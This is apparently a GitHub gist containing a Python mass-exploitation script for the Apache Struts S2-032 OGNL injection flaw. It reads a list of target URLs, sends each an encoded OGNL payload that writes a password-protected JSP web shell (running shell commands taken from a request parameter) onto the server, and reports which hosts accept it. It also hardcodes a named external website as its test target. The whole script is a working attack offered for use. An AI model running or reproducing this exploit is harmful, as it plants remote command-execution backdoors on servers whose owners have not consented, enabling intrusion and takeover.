Skip to content

Instantly share code, notes, and snippets.

@davexpro
Created April 26, 2016 22:14
Show Gist options
  • Save davexpro/4910b2147cbacd66f9c2a7cc238facf8 to your computer and use it in GitHub Desktop.
Save davexpro/4910b2147cbacd66f9c2a7cc238facf8 to your computer and use it in GitHub Desktop.
#!/usr/bin/env python3
# -*- utf8 -*-
# author=dave.fang@outlook.com
# create=20160425
import requests
import gevent.pool
import gevent.monkey
import sys
MAX_TRY_COUNT = 3
THREADS = 30
def verify(url):
# print('[*] Target: ' + url)
header = {
'User-Agent': 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36',
}
payload = '?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23a%3d%23parameters.reqobj[0],' \
'%23c%3d%23parameters.reqobj[1],%23req%3d%23context.get(%23a),' \
'%23b%3d%23req.getRealPath(%23c)%2b%23parameters.reqobj[2],%23fos%3dnew java.io.FileOutputStream(%23b),' \
'%23fos.write(%23parameters.content[0].getBytes()),%23fos.close(),' \
'%23hh%3d%23context.get(%23parameters.rpsobj[0]),' \
'%23hh.getWriter().println(%23b),%23hh.getWriter().flush(),%23hh.getWriter().close(),' \
'1?%23xx:%23request.toString&reqobj=com.opensymphony.xwork2.dispatcher.HttpServletRequest' \
'&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse' \
'&reqobj=%2f&reqobj=110fuzgun2016.txt&content=gif89a%3C%25%0A%20%20%20%20if%28%22024%22.equals' \
'%28request.getParameter%28%22pwd%22%29%29%29%7B%0A%20%20%20%20%20%20%20%20java.io.InputStream' \
'%20in%20%3D%20Runtime.getRuntime%28%29.exec%28request.getParameter%28%22l%22%29%29.getInputStream' \
'%28%29%3B%0A%20%20%20%20%20%20%20%20int%20a%20%3D%20-1%3B%0A%20%20%20%20%20%20%20%20byte' \
'%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%0A%20%20%20%20%20%20%20%20out.print%28%22%3Cpre' \
'%3E%22%29%3B%0A%20%20%20%20%20%20%20%20while%28%28a%3Din.read%28b%29%29%21%3D-1' \
'%29%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20out.println' \
'%28new%20String%28b%29%29%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20out.print' \
'%28%22%3C%2fpre%3E%22%29%3B%0A%20%20%20%20%7D%0A%25%3E'
try_count = 1
while True:
try:
req = requests.get(url + payload, headers=header, timeout=15)
break
except Exception as e:
if try_count > MAX_TRY_COUNT:
break
try_count += 1
pass
if req.status_code == 200:
if '110fuzgun2016.txt' in str(req.text):
print('[+] <Found> ' + str(url))
if __name__ == '__main__':
if len(sys.argv) != 2:
print('[-] E.g. python3 s2-032.py domain.txt')
exit(-1)
print('[*] S2-032 FuzGun is Hot.')
gevent.monkey.patch_socket()
test_url = 'http://www.htzai.com/filedownload/index.action'
verify(test_url)
file_handle = open(sys.argv[1])
content_dict = file_handle.read().split('\n')
if content_dict[-1] == '':
del content_dict[-1]
pool = gevent.pool.Pool(THREADS)
data = pool.map(verify, content_dict)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment